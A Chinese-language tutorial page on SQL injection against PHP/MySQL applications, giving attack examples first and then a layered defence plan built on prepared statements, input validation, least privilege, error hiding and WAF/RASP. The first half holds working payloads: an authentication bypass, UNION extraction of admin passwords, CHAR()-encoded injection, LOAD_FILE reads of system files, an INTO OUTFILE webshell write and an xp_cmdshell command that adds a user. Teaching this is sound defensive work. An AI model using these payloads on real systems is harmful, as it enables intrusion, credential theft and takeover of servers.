首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> 網頁程式設計 >> PHP 程式設計 >> PHP 相關知識

PHP + MySQL SQL 注入攻擊進階實戰與防禦 (下)

     編輯:PHP 相關知識

實戰注入點挖掘與利用

1. 後台登錄繞過 (經典)

$query = "SELECT * FROM admin WHERE UserName='$username' AND Password='$password'";
// 攻擊: 用戶名 ' OR '1'='1 #  密碼任意
// SQL: SELECT * FROM admin WHERE UserName='' OR '1'='1' # AND Password='...'
// 結果: 返回第一行記錄 (通常是管理員),登錄成功

變體:' OR 1=1 --, ' OR 'a'='a, admin' # (已知用戶名)。

2. 前台顯示頁 UNION 提取數據

案例:下載站 dlid 參數注入。

https://site/down/index.php?dlid=1 AND 1=2 UNION SELECT 1,2,password,4,username,6... FROM admin
// 需猜解列數 (18列)、字段類型匹配 (password/username 放在字符型列位置)

3. magic_quotes_gpc=On 環境下的字符型注入繞過

單引號被轉義,無法閉合字符串。**利用無引號數字型注入或編碼函數** 。

// 查詢: SELECT * FROM article WHERE type=$type (無引號)
// 攻擊: type=CHAR(120,105,97,111,104,117,97) AND 1=2 UNION SELECT ...
// MySQL 解析 CHAR() 為字符串 'xiaohua',實現注入

同理 LOAD_FILE() 讀取文件:LOAD_FILE(CHAR(99,58,47,98,111,111,116,46,105,110,105)) 讀取 c:/boot.ini。

4. 高危函數利用

  • INTO OUTFILE:寫入 WebShell (需 FILE 權限、知曉絕對路徑、目錄可寫)。
    SELECT '' INTO OUTFILE '/var/www/html/shell.php'
  • LOAD_FILE():讀取敏感文件 (/etc/passwd, 配置文件、源碼)。
  • MSSQL xp_cmdshell:執行系統命令 (需 sa 權限)。
    '; EXEC master..xp_cmdshell 'net user hack 123 /add' --

系統級防禦體系建設

第一道防線:參數化查詢 / 預處理語句 (根治)

// PDO (推薦)
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND status = ?");
$stmt->execute([$username, 1]);
$user = $stmt->fetch();

// MySQLi
$stmt = $mysqli->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();

**原理**:SQL 邏輯與數據分離,數據庫解析階段確定查詢計畫,參數僅作為數據傳輸,絕不參與 SQL 編譯。

第二道防線:輸入驗證與類型強制

  • 數字型:$id = (int)$_GET['id']; 或 filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT)。
  • 枚舉值:白名單 in_array($type, ['news','product','video'])。
  • 字符串:長度限制、正則格式校驗 (郵箱、手機、用戶名)。

第三道防線:最小權限原則

  • Web 應用數據庫賬號:**僅擁有 SELECT, INSERT, UPDATE, DELETE** 權限,**無 DROP, ALTER, FILE, GRANT, SUPER** 權限。
  • 禁用 LOAD_FILE(), INTO OUTFILE (MySQL 配置 secure_file_priv 限制目錄)。

第四道防線:錯誤信息隱藏與日誌審計

  • display_errors = Off, log_errors = On。
  • 自定義錯誤頁面,不回顯 SQL 錯誤詳情。
  • 記錄所有失敗查詢、異常參數,定期審計。

第五道防線:WAF / RASP / 代碼審計

  • ModSecurity + OWASP CRS 規則集攔截常見攻擊載荷。
  • RASP (如 OpenRASP) 掛鉤底層函數,運行時檢測注入行為 (無誤報)。
  • CI/CD 集成靜態分析工具 (Psalm, PHPStan, SonarQube) 掃描 SQL 拼接模式。

總結

SQL 注入本質是**代碼與數據未分離**。**預處理語句是唯一根治方案**,其他手段 (過濾、轉義、WAF) 均為輔助/緩解。現代框架 (Laravel Eloquent, PDO, Doctrine) 均默認使用預處理,開發者應杜絕手動拼接 SQL。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved